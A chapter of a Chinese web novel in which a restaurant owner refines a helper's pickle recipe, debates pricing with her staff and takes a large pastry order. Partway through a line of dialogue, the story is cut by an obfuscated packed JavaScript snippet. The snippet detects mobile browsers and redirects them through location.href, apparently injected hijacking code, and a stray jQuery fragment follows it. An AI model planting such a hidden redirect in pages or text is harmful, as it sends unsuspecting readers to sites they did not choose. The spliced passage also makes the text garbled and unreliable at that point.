周嫂子天不亮就就来送酱菜，挎着竹篮，里头装着三坛新腌的酱菜，芦菔干、芥菜疙瘩，还有一坛是她自己试着做的黄瓜条。
杜禾饴见她站在厨房门口，眼睛不住地往里张望，想进来又不敢进来。
“进来吧。”杜禾饴朝她招手，“我先尝尝口味，若是需要改进，今天我先教你一遍，你看着，回头自己上手。”
周嫂子应了一声，小心翼翼地迈过门槛，生怕碰着什么。
后厨比她想象的还要整洁，她低头看了看自己沾着泥的鞋，悄悄往后退了半步。
杜禾饴没注意到这些，已经把周嫂子带来的坛子打开了，细细品尝。
周嫂子紧张地盯着她的脸，心提到了嗓子眼。
“底子是好的。”杜禾饴点评，“芦菔干脆度够，咸甜口的比例也差不多，就是缺了点层次，芥菜疙瘩腌的时间长了半日，稍微有点软。黄瓜条……”
她顿了顿，看了周嫂子一眼。
周嫂子连忙说：“黄瓜条是我自己试着做的，不知道能不能行，东家您直说，我扛得住。”
杜禾饴笑了笑：“黄瓜条反而比前两个好，你用了胡蒜吧？”
周嫂子眼睛一亮：“用了用了！家中传下来的方子里头就有蒜，我寻思着提提味，就加了一点。”
“蒜用得好，提了鲜，压了涩。”杜禾饴点头，“但还差几味料。你过来，我教你。”
她转身从架子上取下几只小陶罐，一字排开，里头装着她提前备好的花椒、肉桂，还有一小碟她自制的酱料。
“你做酱菜用的是菽酱，纯的，对不对？”
周嫂子点头。
“纯菽酱的味道太正，正就少了回味。”杜禾饴将花椒放进一只小石臼里，几下就碾成了粗粉，空气中弥漫开一股辛香，“加这两样，不用多，每坛酱料里搁一小撮就够，多了就压住菜本来的味道了。”
她又拿起肉桂在手里掂了掂：“肉桂要掰成小段，腌的时候一起封进去，等入味了再挑出来，这两样给酱菜添一点甜香，客人吃的时候说不出是什么味，但就是觉得比别人家的好。”
周嫂子听得认真，恨不得把每一个字都刻进脑子里。
“还有，”杜禾饴最后拿起那碟酱料，“这是我调的复合酱，你尝尝。”
周嫂子用筷子尖蘸了一点，放进嘴里，眼睛顿时瞪大了：“这……这也太香了！”
“你用这份酱料，香料按我刚才说的放，杀水的时间我再跟你说一遍……”杜禾饴不厌其烦地把每一个步骤又讲了一遍，讲到第三遍的时候，周嫂子已经能自己复述出来了，虽然磕磕绊绊的，但关键的地方都没错。
“行，现在就做来试试，按我说的来。”杜禾饴拍了拍手，“我在前头忙，晚上收拾的时候，你做完了端过来，大家一起尝尝。”
周嫂子撸起袖子就干了起来。
晚间客人尽散，一坛新腌的酱菜摆在了饴味居后院的长桌上。
杜禾饴把店里的人都叫了过来，酱菜分装在几只小碟里，每碟旁边还搁了一双干净的筷子。
“都尝尝，尝完了说真话，谁要是只说好听的，以后厨房的泔水归他倒。”杜禾饴半开玩笑地说。
顺子第一个冲上去，夹了一筷子芦菔干塞进嘴里，嘎吱嘎吱嚼了两下，表情从期待变成惊喜，又从惊喜变成了陶醉，最后闭上眼睛长叹一声：“东家，这个……这个绝了！”
“说人话。”杜禾饴笑骂。
“脆！香！后味有一点点甜，一点点麻，不是麻得嘴皮子跳那种，是那种……怎么说呢……就是让人想再来一筷子的那种麻！”顺子说着又夹了一筷子。
福贵的反应比顺子克制得多，一连夹了三回才意犹未尽地放下：“东家，我嘴笨，说不出顺子那些花里胡哨的，但这酱菜就两个字，值钱。”
章先生细细品了，才开口：“能在同一坛酱菜里做出三种口感，并且各有各的吃头，这不是寻常手艺。”
杜禾饴看了章先生陈一眼，有些意外。、这老头平时只管算账，没想到舌头还挺灵。
顺子咋呼：“东家，这酱菜要是拿出去卖，我娘肯定爱吃，她以前老在西市口那家买，那家的酱菜越做越咸，后来就不买了，这个咸淡正好，吃完还不齁嗓子。”
玉浓一直没动筷子，等所有人都说完了，才夹了一小块芦菔干放进嘴里，慢慢地嚼，好一会儿才咽下去。
“好吃。”她只说了两个字。
杜禾饴等着她的下文。
玉浓果然还有话说：“但怎么卖，是另一回事。”
“你说说看。”杜禾饴侧耳倾听。
玉浓从袖中抽出一本小册子，一边说一边写：“我的想法是，酱菜定价分三档。堂食小碟，三文钱一碟，量不用多，就是个开胃的意思。外带小坛，十二文一坛，够一家四五口吃两三顿的量用小陶罐封好，外面裹红纸。大罐则卖二十五文一罐，专门给那些送人的客人。”
杜禾饴听完没有马上表态，而是问了一句：“大家觉得呢？”
顺子第一个摇头：“十二文一坛？东家说了，咱们不跟人打价格战，可人家西市口那家老字号，一坛才八文啊。”
“那是八文的品质。”玉浓扬眉，“你刚才尝了，觉得跟八文的比，哪个好？”
顺子不吭声了。
章先生想了想：“玉浓这个定价是有道理的。饴味居的定位本来就不是做街坊生意的，咱们的客人能花六十文点一道金丝虾，就不会嫌十二文的酱菜贵，关键是东西要对得起这个价。”
杜禾饴环顾了一圈，见大家意见差不多了，才开口：“我有另一个想法，酱菜先不卖。”
所有人都愣住了。
周嫂子的脸色更是瞬间变了，急得嘴唇都在抖：“东家……这……这怎么又不卖了？是嫌我做得不好吗？我可以再改，您说哪里不行我改哪里……”
“嫂子你别急。”杜禾饴笑着按住她的手，“不是不卖了，是现在不卖，先送。”
“送？”周嫂子的声音都高了半度，“免费送？那大家光说好听的，哪里会当真给意见啊！东家您是不知道，那些客人，你白送他的东西，他就夸上天，真让他掏钱买了，他又嫌这嫌那。”
杜禾饴没打断她，等她说完了，才慢慢解释道：“嫂子你说的情况确实有，但咱们送的，不是白送。”
她在桌上用手指画了个圈：“从今天开始，每桌客人上座先送一小碟酱菜，让前头的伙计留意三件事：第一，客人吃了多少，是吃得精光，还是剩大半碟；第二，客人问没问，是主动问‘这是什么酱菜’，还是压根没当回事，第三，客人怎么评价，是随口说句‘不错’，还是具体说哪里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553723|204176||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好、哪里不好。”
玉浓听出了门道：“你是要拿客人的反馈试水温？”
“对。”杜禾饴点头，“，如果十桌有八桌都吃得干干净净，超过一半的人主动问，那就说明这个酱菜值得做，到时候再开始量产，用陶罐装好，消费满多少送一罐，具体的门槛可以到时候再定。”
“要是客人想直接买呢？”福贵问。
杜禾饴看了玉浓一眼：“玉浓刚才提的十二文这个价，我觉得可以，等试完三天，如果反馈好，就在柜台上立个小牌子，写上‘酱菜每罐十二文’，明码标价，童叟无欺。但第一批不做太多，先做三十罐，卖完了再说。”
周嫂子还是不放心，嘟囔道：“十二文……万一客人嫌贵呢？西市口那家才八文……”
杜禾饴转过头看着她，语气温和却笃定：“嫂子，咱们用的是好料，做得精细，客人吃到嘴里就知道了。”
她顿了顿，又补了一句：“若您觉得风险太大，反正我有配方，我再另寻人做就是了。”
周嫂子还在游移不定，玉浓在旁帮腔：“嫂子你想想，今天你做的拢共花了多少成本？东家定的这个价，是实诚价。”
周嫂子掰着手指头算了算，脸色好看了些，但还是带着几分心疼。
这么好的东西白送三天，她总觉得亏了。
可东家已经把话说到了这个份上，她也不好再争，只是闷闷地应了一声，转身收拾酱菜去了。
杜禾饴看着她的背影，没再多说。
她知道周嫂子的性子，勤快人，怕浪费，怕吃亏，等做上几天看到效果，自然就放心了。
午市还没开始，前头就来了人。
是个穿靛蓝衣裳的小厮，左右手各拎了两个精致的食盒，见了玉浓就笑着拱手：“可是掌柜的，我家想在您这订点心。”
玉浓笑着迎上去：“今儿要什么？”
“昨日夫人与小公子来过一回，跟上回一样，荷花酥、桂花糕、红豆糕，各两份。”
他这么说，玉浓便有了印象，昨日确有这样的主顾，当时自己还猜测是否哪位高官家眷。
小厮又从袖中摸出一张纸条，“夫人还说了，往后隔两日来取一回，这是单子，上头写的是每回想吃的点心和数量，姐姐照着准备就成。”
玉浓接过纸条看了一眼，上头工工整整地写着七八样点心，什么“茯苓糕”、“枣泥酥”、“杏仁豆腐”，都是些费工夫的精细东西。
“这些……”玉浓有些为难，“有些我们店里现在还没做。”
“夫人说了，不急，有的就先做着，没有的等以后有了再说。”小厮笑呵呵的，“咱家小公子是真喜欢你们家的点心，昨儿拿回去，当晚就吃掉了一半。”
玉浓松了口气，让小厮稍等，转身进了后厨。
杜禾饴正在灶上忙活，听了玉浓的转述，诧异道：“点名要七八样？这么大主顾。”
“所以人家说了，不急，慢慢来。”玉浓把纸条递给她，“你看这字，写得很见功底，不似寻常人家的仆从能写出来的。”
杜禾饴扫了一眼纸条，确实不失筋骨，“那就先做已有的那几样，没有的以后再说。”
她把纸条还给玉浓，“对了，酱菜的事别忘，让前头的人多留意客人的反应。”
玉浓应了一声，出去安排了。